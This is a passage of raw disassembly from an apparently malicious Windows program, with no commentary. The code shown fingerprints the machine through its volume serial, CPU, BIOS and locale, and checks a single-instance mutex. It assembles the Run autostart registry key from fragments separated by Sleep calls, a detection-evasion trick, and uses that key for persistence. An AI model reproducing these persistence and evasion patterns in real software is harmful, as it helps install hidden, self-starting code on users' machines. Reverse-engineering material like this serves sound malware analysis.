[ebp-4], 0FFFFFFFFh pop ecx pop ecx lea ecx, [ebp-14h] call sub_411512 loc_404733: ; CODE XREF: sub_404605+41j ; sub_404605+50j ... lea ecx, [ebp-10h] call sub_41151E lea ecx, [ebp-24h] mov dword ptr [ebp-4], 2 call sub_41151E cmp byte ptr [esi+12000h], 0 mov byte ptr [ebp-4], 3 jz loc_404825 lea edi, [ebx+20h] lea ecx, [ebp-24h] push edi call sub_411518 push offset dword_417258 lea eax, [ebp-2Ch] push edi push eax call sub_41152A push eax lea ecx, [ebp-10h] mov byte ptr [ebp-4], 4 call sub_411518 lea ecx, [ebp-2Ch] mov byte ptr [ebp-4], 3 call sub_411512 push dword ptr [ebp-10h] call sub_4021DB test eax, eax pop ecx jz short loc_4047A8 push 1 push dword ptr [ebp-10h] call sub_401C92 pop ecx pop ecx loc_4047A8: ; CODE XREF: sub_404605+195j push dword ptr [edi] call sub_4021DB test eax, eax pop ecx jz short loc_4047C4 mov edi, [edi] push 1 push dword ptr [ebp-10h] push edi call sub_401D8A add esp, 0Ch loc_4047C4: ; CODE XREF: sub_404605+1ADj push 80000000h push 1 push ecx mov ecx, esp mov [ebp+0Ch], esp push offset byte_419C40 call sub_4114FA push ecx mov byte ptr [ebp-4], 5 mov ecx, esp mov [ebp-20h], esp push offset dword_41724C call sub_4114FA lea ecx, [ebp-58h] mov byte ptr [ebp-4], 3 call sub_40671B push ecx lea eax, [esi+0E000h] mov ecx, esp mov [ebp+0Ch], esp push eax mov byte ptr [ebp-4], 6 call sub_4114FA lea ecx, [ebp-58h] call sub_406BA8 lea ecx, [ebp-58h] mov byte ptr [ebp-4], 3 call sub_4068AF loc_404825: ; CODE XREF: sub_404605+150j push 28h call dword_4130E0 ; Sleep mov al, [esi+12000h] mov ecx, ebx push eax mov al, [esi+12004h] push dword ptr [esi+12008h] push eax mov al, [esi+12001h] push eax mov al, [esi+12002h] push eax lea eax, [esi+2000h] push eax lea eax, [esi+4000h] push eax lea eax, [esi-2000h] push esi push eax call sub_402EC9 lea ecx, [ebp-18h] mov [ebp+0Fh], al call sub_41151E lea eax, [esi+10000h] lea ecx, [ebp-18h] push eax mov byte ptr [ebp-4], 7 call sub_41150C lea eax, [ebp-18h] push offset dword_417248 push eax lea eax, [ebp-30h] push eax call sub_41152A lea edi, [esi+0E000h] mov byte ptr [ebp-4], 8 push edi push eax lea eax, [ebp-34h] push eax call sub_41152A push eax lea ecx, [ebp-18h] mov byte ptr [ebp-4], 9 call sub_411518 lea ecx, [ebp-34h] mov byte ptr [ebp-4], 8 call sub_411512 lea ecx, [ebp-30h] mov byte ptr [ebp-4], 7 call sub_411512 push ecx lea eax, [ebp-18h] mov ecx, esp mov [ebp-20h], esp push eax call sub_411506 mov ecx, ebx call sub_4057AB mov al, [esi+12000h] test al, al jz loc_4049E7 cmp byte ptr [ebp+0Fh], 0 jz short loc_404965 push 80000000h push 1 push ecx mov byte ptr [ebx+18h], 1 mov ecx, esp mov [ebp+0Ch], esp push offset byte_419C40 call sub_4114FA push ecx mov byte ptr [ebp-4], 0Ah mov ecx, esp mov [ebp-20h], esp push offset dword_41724C call sub_4114FA lea ecx, [ebp-98h] mov byte ptr [ebp-4], 7 call sub_40671B push ecx mov byte ptr [ebp-4], 0Bh mov ecx, esp mov [ebp+0Ch], esp push edi call sub_4114FA lea ecx, [ebp-98h] call sub_406BA8 mov byte ptr [ebp-4], 7 lea ecx, [ebp-98h] jmp short loc_4049E2 ; --------------------------------------------------------------------------- loc_404965: ; CODE XREF: sub_404605+2F9j test al, al jz short loc_4049E7 cmp byte ptr [ebp+0Fh], 0 jnz short loc_4049E7 push dword ptr [ebp-10h] call sub_4021DB test eax, eax pop ecx jz short loc_40498C push 1 push dword ptr [ebp-24h] push dword ptr [ebp-10h] call sub_401D8A add esp, 0Ch loc_40498C: ; CODE XREF: sub_404605+375j push 80000000h push 1 push ecx mov ecx, esp mov [ebp+0Ch], esp push offset byte_419C40 call sub_4114FA push ecx mov byte ptr [ebp-4], 0Ch mov ecx, esp mov [ebp-20h], esp push offset dword_41724C call sub_4114FA lea ecx, [ebp-78h] mov byte ptr [ebp-4], 7 call sub_40671B push ecx mov byte ptr [ebp-4], 0Dh mov ecx, esp mov [ebp+0Ch], esp push ebx call sub_411506 lea ecx, [ebp-78h] call sub_406BA8 mov byte ptr [ebp-4], 7 lea ecx, [ebp-78h] loc_4049E2: ; CODE XREF: sub_404605+35Ej call sub_4068AF loc_4049E7: ; CODE XREF: sub_404605+2EFj ; sub_404605+362j ... lea ecx, [ebp-18h] mov byte ptr [ebp-4], 3 call sub_411512 lea ecx, [ebp-24h] mov byte ptr [ebp-4], 2 call sub_411512 or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp-10h] call sub_411512 add esi, 1400Ch dec dword ptr [ebp-28h] jnz loc_40463F loc_404A1A: ; CODE XREF: sub_404605+1Ej mov ecx, [ebp-0Ch] pop edi pop esi mov al, 1 mov large fs:0, ecx pop ebx leave retn 8 sub_404605 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404A2D proc near ; CODE XREF: sub_402C48+123p var_12C = dword ptr -12Ch var_128 = byte ptr -128h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 12Ch push ebx push esi push edi push [ebp+arg_4] call sub_402199 pop ecx push [ebp+arg_4] call dword_413048 ; SetCurrentDirectoryA xor esi, esi push 2 push esi push [ebp+arg_0] call sub_410FDB mov edi, eax lea eax, [ebp+var_12C] push eax push 0FFFFFFFFh push edi call sub_4110A8 mov ebx, [ebp+var_12C] add esp, 18h test ebx, ebx jle short loc_404A9E loc_404A76: ; CODE XREF: sub_404A2D+6Fj lea eax, [ebp+var_12C] push eax push esi push edi call sub_4110A8 push 2 lea eax, [ebp+var_128] push 0 push eax push esi push edi call sub_411390 add esp, 20h inc esi cmp esi, ebx jl short loc_404A76 loc_404A9E: ; CODE XREF: sub_404A2D+47j push edi call sub_4113FB pop ecx pop edi pop esi mov al, 1 pop ebx leave retn 8 sub_404A2D endp ; =============== S U B R O U T I N E ======================================= sub_404AAE proc near ; CODE XREF: sub_402C48+DAp mov eax, offset loc_411E8E call sub_41163A ; _EH_prolog push ecx push ecx push ebx push esi xor ebx, ebx push 8 mov [ebp-4], ebx call sub_4114F4 pop ecx mov ecx, eax mov [ebp-14h], ecx cmp ecx, ebx mov byte ptr [ebp-4], 1 jz short loc_404ADF call sub_401000 mov esi, eax jmp short loc_404AE1 ; --------------------------------------------------------------------------- loc_404ADF: ; CODE XREF: sub_404AAE+26j xor esi, esi loc_404AE1: ; CODE XREF: sub_404AAE+2Fj mov ecx, esi mov [ebp-4], bl call sub_40103D lea eax, [ebp-10h] mov ecx, esi push eax push dword ptr [ebp+8] call sub_40146A mov ecx, esi call sub_4010DD cmp esi, ebx jz short loc_404B0C mov eax, [esi] push 1 mov ecx, esi call dword ptr [eax] loc_404B0C: ; CODE XREF: sub_404AAE+54j mov eax, [ebp+0Ch] cmp eax, [ebp-10h] jnz short loc_404B16 mov bl, 1 loc_404B16: ; CODE XREF: sub_404AAE+64j or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+8] call sub_411512 mov ecx, [ebp-0Ch] mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn 8 sub_404AAE endp ; =============== S U B R O U T I N E ======================================= sub_404B34 proc near ; CODE XREF: sub_402C48+88p ; sub_402C48+1D2p ... arg_0 = byte ptr 4 lea ecx, [esp+arg_0] call sub_411512 retn 4 sub_404B34 endp ; =============== S U B R O U T I N E ======================================= sub_404B40 proc near ; CODE XREF: sub_402A1E+DDp mov eax, offset loc_411EE9 call sub_41163A ; _EH_prolog sub esp, 324h push ebx push esi mov [ebp-34h], ecx xor esi, esi push edi lea ecx, [ebp-24h] mov [ebp-38h], esi call sub_41151E lea ecx, [ebp-28h] mov [ebp-4], esi call sub_41151E mov dx, ds:word_419C44 xor eax, eax lea edi, [ebp-52h] mov [ebp-54h], dx stosd stosd stosd stosd stosw xor eax, eax lea edi, [ebp-62h] mov [ebp-64h], dx push 40h stosd stosd pop ecx xor eax, eax lea edi, [ebp-32Eh] mov [ebp-330h], dx rep stosd stosw xor eax, eax lea edi, [ebp-3Ah] mov [ebp-3Ch], dx push 40h stosw pop ecx lea edi, [ebp-1C6h] mov [ebp-1C8h], dx mov [ebp-18h], dx rep stosd stosw xor eax, eax lea edi, [ebp-16h] stosb lea edi, [ebp-0Eh] mov [ebp-10h], dx stosb lea edi, [ebp-12h] mov [ebp-14h], dx stosb lea eax, [ebp-30h] push offset a04x ; "%04X" push eax mov byte ptr [ebp-4], 1 mov [ebp-40h], esi mov byte ptr [ebp-19h], 1 call dword_4130CC ; lstrcpyA cmp byte ptr [ebp+0Ch], 0 mov ebx, dword_413074 jz short loc_404C12 lea eax, [ebp-1C8h] push offset asc_417350 ; "{" push eax call ebx ; lstrcatA loc_404C12: ; CODE XREF: sub_404B40+C2j lea eax, [ebp-330h] push 104h push eax call dword_4130D4 ; GetWindowsDirectoryA xor eax, eax lea ecx, [ebp-38h] push eax push eax push eax lea esi, [ebp-330h] lea edi, [ebp-3Ch] push eax push ecx push eax movsw push eax lea eax, [ebp-3Ch] push eax movsb call dword_4130B4 ; GetVolumeInformationA mov ecx, [ebp-34h] lea eax, [ebp-54h] push 10h push eax push dword ptr [ebp-38h] call sub_40509A mov edi, dword_4130CC lea eax, [ebp-30h] push offset a08x ; "%08X" push eax call edi ; lstrcpyA push dword ptr [ebp-38h] mov esi, dword_41329C lea eax, [ebp-30h] push eax lea eax, [ebp-54h] push eax call esi ; wsprintfA add esp, 0Ch lea eax, [ebp-54h] push eax call dword_413298 ; CharUpperA lea eax, [ebp-54h] push eax lea eax, [ebp-1C8h] push eax call ebx ; lstrcatA push 80000002h push 1 push 0 push ecx mov ecx, esp mov [ebp-20h], esp push offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"... call sub_4114FA lea ecx, [ebp-0A4h] call sub_406374 lea ecx, [ebp-0A4h] mov byte ptr [ebp-4], 2 call sub_406606 mov [ebp-20h], eax lea eax, [ebp-30h] push offset a04x ; "%04X" push eax call edi ; lstrcpyA push dword ptr [ebp-20h] lea eax, [ebp-30h] push eax lea eax, [ebp-54h] push eax call esi ; wsprintfA add esp, 0Ch mov edi, offset asc_417310 ; "-" lea eax, [ebp-1C8h] push edi push eax call ebx ; lstrcatA push 1Eh call dword_4130E0 ; Sleep lea eax, [ebp-54h] push eax lea eax, [ebp-1C8h] push eax call ebx ; lstrcatA call dword_4130B8 ; GetSystemDefaultLCID push eax lea eax, [ebp-30h] push eax lea eax, [ebp-54h] push eax call esi ; wsprintfA add esp, 0Ch lea eax, [ebp-1C8h] push edi push eax call ebx ; lstrcatA lea eax, [ebp-54h] push eax lea eax, [ebp-1C8h] push eax call ebx ; lstrcatA push 80000002h push 1 push ecx mov ecx, esp mov [ebp-20h], esp push offset byte_419C40 call sub_4114FA push ecx mov byte ptr [ebp-4], 3 mov ecx, esp mov [ebp-58h], esp push offset aHardwareDesc_0 ; "HARDWARE\\DESCRIPTION\\System\\SystemBiosD"... call sub_4114FA lea ecx, [ebp-84h] mov byte ptr [ebp-4], 2 call sub_40671B lea eax, [ebp-20h] lea ecx, [ebp-84h] push eax mov byte ptr [ebp-4], 4 call sub_406B4C lea eax, [ebp-20h] lea ecx, [ebp-28h] push eax mov byte ptr [ebp-4], 5 call sub_411518 lea ecx, [ebp-20h] mov byte ptr [ebp-4], 4 call sub_411512 mov eax, [ebp-28h] mov eax, [eax-8] test eax, eax jle loc_404E34 push eax lea ecx, [ebp-28h] call sub_411542 mov cl, [eax] mov [ebp-40h], eax mov [ebp-18h], cl mov cl, [eax+1] and byte ptr [ebp-16h], 0 mov [ebp-17h], cl mov cl, [eax+3] push edi mov [ebp-10h], cl mov cl, [eax+4] and byte ptr [ebp-0Eh], 0 mov [ebp-0Fh], cl mov cl, [eax+6] mov [ebp-14h], cl mov al, [eax+7] and byte ptr [ebp-12h], 0 mov [ebp-13h], al lea eax, [ebp-1C8h] push eax call ebx ; lstrcatA lea eax, [ebp-18h] push eax lea eax, [ebp-1C8h] push eax call ebx ; lstrcatA lea eax, [ebp-10h] push eax lea eax, [ebp-1C8h] push eax call ebx ; lstrcatA lea eax, [ebp-1C8h] push edi push eax call ebx ; lstrcatA lea eax, [ebp-14h] push eax lea eax, [ebp-1C8h] push eax call ebx ; lstrcatA push 0FFFFFFFFh lea ecx, [ebp-28h] call sub_41153C mov edi, dword_4130CC jmp short loc_404E51 ; --------------------------------------------------------------------------- loc_404E34: ; CODE XREF: sub_404B40+266j mov edi, dword_4130CC push offset word_419C44 push 0 call edi ; lstrcpyA lea eax, [ebp-1C8h] push offset a000000 ; "-0000-00" push eax call ebx ; lstrcatA loc_404E51: ; CODE XREF: sub_404B40+2F2j lea eax, [ebp-22Ch] push offset a0a887397a5f240 ; "0A887397A5F240675EEF4D35019B6883A6FA5D6"... push eax call edi ; lstrcpyA push 80000002h push 1 push ecx mov ecx, esp mov [ebp-58h], esp push offset byte_419C40 call sub_4114FA lea eax, [ebp-22Ch] mov byte ptr [ebp-4], 6 push eax call dword_4130BC ; lstrlenA push ecx mov ecx, esp mov [ebp-20h], esp push eax lea eax, [ebp-22Ch] push eax push ecx mov ecx, [ebp-34h] call sub_4030F7 lea ecx, [ebp-0C4h] mov byte ptr [ebp-4], 4 call sub_40671B lea eax, [ebp-20h] lea ecx, [ebp-0C4h] push eax mov byte ptr [ebp-4], 7 call sub_406B4C lea eax, [ebp-20h] lea ecx, [ebp-24h] push eax mov byte ptr [ebp-4], 8 call sub_411518 lea ecx, [ebp-20h] mov byte ptr [ebp-4], 7 call sub_411512 mov eax, [ebp-24h] mov eax, [eax-8] test eax, eax jle short loc_404F51 push eax lea ecx, [ebp-24h] call sub_411542 mov cl, [eax] mov [ebp-18h], cl mov cl, [eax+1] and byte ptr [ebp-16h], 0 mov [ebp-17h], cl mov cl, [eax+3] mov [ebp-10h], cl mov cl, [eax+4] and byte ptr [ebp-0Eh], 0 mov [ebp-0Fh], cl mov cl, [eax+6] mov [ebp-14h], cl mov al, [eax+7] and byte ptr [ebp-12h], 0 mov [ebp-13h], al lea eax, [ebp-18h] push eax lea eax, [ebp-1C8h] push eax call ebx ; lstrcatA lea eax, [ebp-10h] push eax lea eax, [ebp-1C8h] push eax call ebx ; lstrcatA lea eax, [ebp-14h] push eax lea eax, [ebp-1C8h] push eax call ebx ; lstrcatA push 0FFFFFFFFh lea ecx, [ebp-24h] call sub_41153C jmp short loc_404F69 ; --------------------------------------------------------------------------- loc_404F51: ; CODE XREF: sub_404B40+3A4j push offset word_419C44 push dword ptr [ebp-40h] call edi ; lstrcpyA lea eax, [ebp-1C8h] push offset a000001 ; "000001" push eax call ebx ; lstrcatA loc_404F69: ; CODE XREF: sub_404B40+40Fj lea eax, [ebp-64h] push 104h push eax push 5 push 400h call dword_4130C0 ; GetLocaleInfoA push 21h call dword_4130E0 ; Sleep mov ecx, [ebp-34h] lea eax, [ebp-64h] push eax call sub_405049 push eax lea eax, [ebp-30h] push eax lea eax, [ebp-54h] push eax call esi ; wsprintfA add esp, 0Ch lea eax, [ebp-54h] push eax lea eax, [ebp-1C8h] push eax call ebx ; lstrcatA cmp byte ptr [ebp+0Ch], 0 jz short loc_404FC2 lea eax, [ebp-1C8h] push offset asc_417278 ; "}" push eax call ebx ; lstrcatA loc_404FC2: ; CODE XREF: sub_404B40+472j lea eax, [ebp-1C8h] push eax push dword ptr [ebp+8] call edi ; lstrcpyA push dword ptr [ebp+8] call dword_4130BC ; lstrlenA movzx ecx, byte ptr [ebp+0Ch] shl ecx, 1 sub eax, ecx cmp eax, 24h jz short loc_404FE8 and byte ptr [ebp-19h], 0 loc_404FE8: ; CODE XREF: sub_404B40+4A2j push 20h call dword_4130E0 ; Sleep lea ecx, [ebp-0C4h] mov byte ptr [ebp-4], 4 call sub_4068AF lea ecx, [ebp-84h] mov byte ptr [ebp-4], 2 call sub_4068AF lea ecx, [ebp-0A4h] mov byte ptr [ebp-4], 1 call sub_4064C6 and byte ptr [ebp-4], 0 lea ecx, [ebp-28h] call sub_411512 or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp-24h] call sub_411512 mov ecx, [ebp-0Ch] mov al, [ebp-19h] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 8 sub_404B40 endp ; =============== S U B R O U T I N E ======================================= sub_405049 proc near ; CODE XREF: sub_404B40+44Ep arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi xor esi, esi xor dl, dl loc_405052: ; CODE XREF: sub_405049+Fj cmp byte ptr [eax], 20h jnz short loc_40505A inc eax jmp short loc_405052 ; --------------------------------------------------------------------------- loc_40505A: ; CODE XREF: sub_405049+Cj mov cl, [eax] cmp cl, 2Bh jz short loc_405068 cmp cl, 2Dh jnz short loc_405069 mov dl, 1 loc_405068: ; CODE XREF: sub_405049+16j ; sub_405049+3Aj inc eax loc_405069: ; CODE XREF: sub_405049+1Bj mov cl, [eax] test cl, cl jz short loc_405085 cmp cl, 30h jl short loc_405085 cmp cl, 39h jg short loc_405085 movsx ecx, cl lea esi, [esi+esi*4] lea esi, [ecx+esi*2-30h] jmp short loc_405068 ; --------------------------------------------------------------------------- loc_405085: ; CODE XREF: sub_405049+24j ; sub_405049+29j ... cmp dl, 1 jnz short loc_40508C neg esi loc_40508C: ; CODE XREF: sub_405049+3Fj push 1Eh call dword_4130E0 ; Sleep mov eax, esi pop esi retn 4 sub_405049 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40509A proc near ; CODE XREF: sub_404B40+112p var_84 = byte ptr -84h var_83 = byte ptr -83h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 84h push esi push edi push 1Fh xor eax, eax pop ecx lea edi, [ebp+var_83] rep stosd stosw mov edx, [ebp+arg_4] xor esi, esi and [ebp+var_4], esi stosb mov edi, [ebp+arg_0] test edi, edi jnz short loc_4050D4 mov ecx, [ebp+arg_8] mov byte ptr [edx], 30h dec ecx mov [ebp+var_4], 1 jmp short loc_4050D7 ; --------------------------------------------------------------------------- loc_4050D4: ; CODE XREF: sub_40509A+28j mov ecx, [ebp+arg_8] loc_4050D7: ; CODE XREF: sub_40509A+38j and [ebp+var_84], 0 push ebx test edi, edi jz short loc_405108 loc_4050E3: ; CODE XREF: sub_40509A+69j push 0Ah mov eax, edi xor edx, edx pop ebx div ebx push ebx mov eax, edi pop edi add dl, 30h mov [ebp+esi+var_84], dl xor edx, edx div edi inc esi mov edi, eax test edi, edi jnz short loc_4050E3 mov edx, [ebp+arg_4] loc_405108: ; CODE XREF: sub_40509A+47j cmp ecx, esi jle short loc_40512D sub ecx, esi lea edi, [ebp+esi+var_84] mov [ebp+arg_8], ecx mov ebx, ecx mov eax, 30303030h shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 add esi, ebx rep stosb loc_40512D: ; CODE XREF: sub_40509A+70j mov eax, [ebp+var_4] dec esi pop ebx js short loc_405144 loc_405134: ; CODE XREF: sub_40509A+A8j mov cl, [ebp+esi+var_84] dec esi mov [eax+edx], cl inc eax test esi, esi jge short loc_405134 loc_405144: ; CODE XREF: sub_40509A+98j and byte ptr [eax+edx], 0 pop edi mov eax, edx pop esi leave retn 0Ch sub_40509A endp ; =============== S U B R O U T I N E ======================================= sub_405150 proc near ; CODE XREF: sub_405E1F+198p mov eax, offset loc_411F44 call sub_41163A ; _EH_prolog sub esp, 38h push esi push edi mov edi, ecx lea ecx, [ebp-10h] mov dword ptr [ebp-4], 1 call sub_41151E push offset aSoftwareMicros ; "SOFTWARE\\Microso" lea ecx, [ebp-10h] mov byte ptr [ebp-4], 2 call sub_41150C mov esi, dword_4130E0 push 1Eh call esi ; Sleep push offset aFtWindowsCurre ; "ft\\Windows\\Curren" lea ecx, [ebp-10h] call sub_411548 push 1Ch call esi ; Sleep push offset aTversionR ; "tVersion\\R" lea ecx, [ebp-10h] call sub_411548 push 1Ch call esi ; Sleep push offset aUnRu ; "un\\ru" lea ecx, [ebp-10h] call sub_411548 push 1Ch call esi ; Sleep push offset aNner1 ; "nner1" lea ecx, [ebp-10h] call sub_411548 push 80000002h push 1 push ecx mov ecx, esp mov [ebp-20h], esp push offset aDefaultvalue ; "defaultvalue" call sub_4114FA push ecx lea eax, [ebp-10h] mov ecx, esp mov [ebp-1Ch], esp push eax mov byte ptr [ebp-4], 3 call sub_411506 lea ecx, [ebp-44h] mov byte ptr [ebp-4], 2 call sub_40671B lea ecx, [ebp-18h] mov byte ptr [ebp-4], 4 call sub_41151E lea ecx, [ebp-14h] mov byte ptr [ebp-4], 5 call sub_41151E lea eax, [ebp-1Ch] lea ecx, [ebp-44h] push eax mov byte ptr [ebp-4], 6 call sub_406B4C lea eax, [ebp-1Ch] lea ecx, [ebp-18h] push eax mov byte ptr [ebp-4], 7 call sub_411518 lea ecx, [ebp-1Ch] mov byte ptr [ebp-4], 6 call sub_411512 lea eax, [ebp+8] push offset asc_41735C ; " " push eax lea eax, [ebp-20h] push eax call sub_41152A lea ecx, [ebp+0Ch] mov byte ptr [ebp-4], 8 push ecx push eax lea eax, [ebp-1Ch] push eax call sub_411524 push eax lea ecx, [ebp-14h] mov byte ptr [ebp-4], 9 call sub_411518 lea ecx, [ebp-1Ch] mov byte ptr [ebp-4], 8 call sub_411512 lea ecx, [ebp-20h] mov byte ptr [ebp-4], 6 call sub_411512 push dword ptr [ebp-14h] push dword ptr [ebp-18h] call dword_4131EC ; _mbscmp pop ecx test eax, eax pop ecx jz short loc_4052B7 push ecx lea eax, [ebp-14h] mov ecx, esp mov [ebp-24h], esp push eax call sub_411506 lea ecx, [ebp-44h] call sub_406BA8 loc_4052B7: ; CODE XREF: sub_405150+14Ej push ecx lea eax, [ebp+0Ch] mov ecx, esp mov [ebp-24h], esp push eax call sub_411506 mov ecx, edi call sub_40592B lea ecx, [ebp-14h] mov byte ptr [ebp-4], 5 call sub_411512 lea ecx, [ebp-18h] mov byte ptr [ebp-4], 4 call sub_411512 lea ecx, [ebp-44h] mov byte ptr [ebp-4], 2 call sub_4068AF lea ecx, [ebp-10h] mov byte ptr [ebp-4], 1 call sub_411512 and byte ptr [ebp-4], 0 lea ecx, [ebp+8] call sub_411512 or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+0Ch] call sub_411512 mov ecx, [ebp-0Ch] pop edi mov al, 1 mov large fs:0, ecx pop esi leave retn 8 sub_405150 endp ; =============== S U B R O U T I N E ======================================= sub_405327 proc near ; CODE XREF: sub_40831F+176p mov eax, offset loc_411F8F call sub_41163A ; _EH_prolog sub esp, 34h and dword ptr [ebp-1Ch], 0 push ebx push esi lea ecx, [ebp-10h] call sub_41151E push 1 lea ecx, [ebp-10h] pop ebx push offset aWr ; "WR" mov [ebp-4], ebx call sub_41150C mov esi, dword_4130E0 push 1Eh call esi ; Sleep push offset dword_417130 lea ecx, [ebp-10h] call sub_411548 push 1Dh call esi ; Sleep push offset aConfi ; "confi" lea ecx, [ebp-10h] call sub_411548 push 1Dh call esi ; Sleep push offset aGversion ; "gversion" lea ecx, [ebp-10h] call sub_411548 push 80000000h push ebx push ecx mov ecx, esp mov [ebp-18h], esp push offset byte_419C40 call sub_4114FA push ecx lea eax, [ebp-10h] mov ecx, esp mov [ebp-20h], esp push eax mov byte ptr [ebp-4], 2 call sub_411506 lea ecx, [ebp-40h] mov [ebp-4], bl call sub_40671B lea ecx, [ebp-14h] mov byte ptr [ebp-4], 3 call sub_41151E lea eax, [ebp-18h] lea ecx, [ebp-40h] push eax mov byte ptr [ebp-4], 4 call sub_406B4C lea eax, [ebp-18h] lea ecx, [ebp-14h] push eax mov byte ptr [ebp-4], 5 call sub_411518 lea ecx, [ebp-18h] mov byte ptr [ebp-4], 4 call sub_411512 mov ecx, [ebp+8] lea eax, [ebp-14h] push eax call sub_411506 mov [ebp-1Ch], ebx lea ecx, [ebp-14h] mov byte ptr [ebp-4], 3 call sub_411512 lea ecx, [ebp-40h] mov [ebp-4], bl call sub_4068AF and byte ptr [ebp-4], 0 lea ecx, [ebp-10h] call sub_411512 mov eax, [ebp+8] mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_405327 endp ; =============== S U B R O U T I N E ======================================= sub_40543F proc near ; CODE XREF: sub_4091F5+6Ep ; sub_4091F5+12Bp ... mov eax, offset loc_411FAC call sub_41163A ; _EH_prolog sub esp, 28h push esi push edi lea ecx, [ebp-10h] call sub_41151E and dword ptr [ebp-4], 0 push offset aWr ; "WR" lea ecx, [ebp-10h] call sub_41150C mov esi, dword_4130E0 push 1Ch pop edi push edi call esi ; Sleep push offset dword_417130 lea ecx, [ebp-10h] call sub_411548 push edi call esi ; Sleep push offset aNex ; "nex" lea ecx, [ebp-10h] call sub_411548 push edi call esi ; Sleep push offset aTup ; "tup" lea ecx, [ebp-10h] call sub_411548 push edi call esi ; Sleep push offset aDate ; "date" lea ecx, [ebp-10h] call sub_411548 push 80000000h push 1 push 0 push ecx lea eax, [ebp-10h] mov ecx, esp mov [ebp-14h], esp push eax call sub_411506 lea ecx, [ebp-34h] call sub_406374 lea ecx, [ebp-34h] mov byte ptr [ebp-4], 1 call sub_406606 mov edi, [ebp+8] mov esi, eax test edi, edi jle short loc_4054F8 lea eax, [ebp+8] push eax call dword_4131A4 ; time mov eax, [ebp+8] pop ecx lea esi, [eax+edi] jmp short loc_405510 ; --------------------------------------------------------------------------- loc_4054F8: ; CODE XREF: sub_40543F+A4j test esi, esi jnz short loc_405519 lea eax, [ebp+8] push eax call dword_4131A4 ; time mov eax, [ebp+8] pop ecx lea esi, [eax+0B4h] loc_405510: ; CODE XREF: sub_40543F+B7j push esi lea ecx, [ebp-34h] call sub_406633 loc_405519: ; CODE XREF: sub_40543F+BBj and byte ptr [ebp-4], 0 lea ecx, [ebp-34h] call sub_4064C6 or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp-10h] call sub_411512 mov ecx, [ebp-0Ch] mov eax, esi pop edi mov large fs:0, ecx pop esi leave retn 4 sub_40543F endp ; =============== S U B R O U T I N E ======================================= sub_405543 proc near ; CODE XREF: sub_402A1E+163p arg_0 = dword ptr 4 push ebx push esi push [esp+8+arg_0] mov esi, ecx push 0 push 0 call dword_4130B0 ; CreateMutexA add esi, 0Ch test eax, eax mov [esi], eax jz short loc_405576 call dword_413028 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_405576 push dword ptr [esi] call dword_413020 ; CloseHandle and dword ptr [esi], 0 loc_405576: ; CODE XREF: sub_405543+19j ; sub_405543+26j cmp dword ptr [esi], 0 lea ecx, [esp+8+arg_0] setz bl call sub_411512 mov al, bl pop esi pop ebx retn 4 sub_405543 endp ; =============== S U B R O U T I N E ======================================= sub_40558C proc near ; CODE XREF: sub_40831F+DEp mov eax, offset loc_411FF7 call sub_41163A ; _EH_prolog sub esp, 34h and dword ptr [ebp-1Ch], 0 push ebx push esi lea ecx, [ebp-10h] call sub_41151E push 1 lea ecx, [ebp-10h] pop ebx push offset aWr ; "WR" mov [ebp-4], ebx call sub_41150C mov esi, dword_4130E0 push 1Eh call esi ; Sleep push offset dword_417130 lea ecx, [ebp-10h] call sub_411548 push 1Ch call esi ; Sleep push offset aP_0 ; "p" lea ecx, [ebp-10h] call sub_411548 push 80000000h push ebx push ecx mov ecx, esp mov [ebp-18h], esp push offset byte_419C40 call sub_4114FA push ecx lea eax, [ebp-10h] mov ecx, esp mov [ebp-20h], esp push eax mov byte ptr [ebp-4], 2 call sub_411506 lea ecx, [ebp-40h] mov [ebp-4], bl call sub_40671B lea ecx, [ebp-14h] mov byte ptr [ebp-4], 3 call sub_41151E lea eax, [ebp-18h] lea ecx, [ebp-40h] push eax mov byte ptr [ebp-4], 4 call sub_406B4C lea eax, [ebp-18h] lea ecx, [ebp-14h] push eax mov byte ptr [ebp-4], 5 call sub_411518 lea ecx, [ebp-18h] mov byte ptr [ebp-4], 4 call sub_411512 mov ecx, [ebp+8] lea eax, [ebp-14h] push eax call sub_411506 mov [ebp-1Ch], ebx lea ecx, [ebp-14h] mov byte ptr [ebp-4], 3 call sub_411512 lea ecx, [ebp-40h] mov [ebp-4], bl call sub_4068AF and byte ptr [ebp-4], 0 lea ecx, [ebp-10h] call sub_411512 mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40558C endp ; =============== S U B R O U T I N E ======================================= sub_405693 proc near ; CODE XREF: sub_40831F+A7p mov eax, offset loc_412043 call sub_41163A ; _EH_prolog sub esp, 34h and dword ptr [ebp-1Ch], 0 push ebx push esi lea ecx, [ebp-10h] call sub_41151E push 1 lea ecx, [ebp-10h] pop ebx push offset aW ; "W" mov [ebp-4], ebx call sub_41150C mov esi, dword_4130E0 push 1Eh call esi ; Sleep push offset aR ; "R" lea ecx, [ebp-10h] call sub_411548 push 1Eh call esi ; Sleep push offset dword_417130 lea ecx, [ebp-10h] call sub_411548 push 1Ch call esi ; Sleep push offset aI ; "i" lea ecx, [ebp-10h] call sub_411548 push 80000000h push ebx push ecx mov ecx, esp mov [ebp-18h], esp push offset byte_419C40 call sub_4114FA push ecx lea eax, [ebp-10h] mov ecx, esp mov [ebp-20h], esp push eax mov byte ptr [ebp-4], 2 call sub_411506 lea ecx, [ebp-40h] mov [ebp-4], bl call sub_40671B lea ecx, [ebp-14h] mov byte ptr [ebp-4], 3 call sub_41151E lea eax, [ebp-18h] lea ecx, [ebp-40h] push eax mov byte 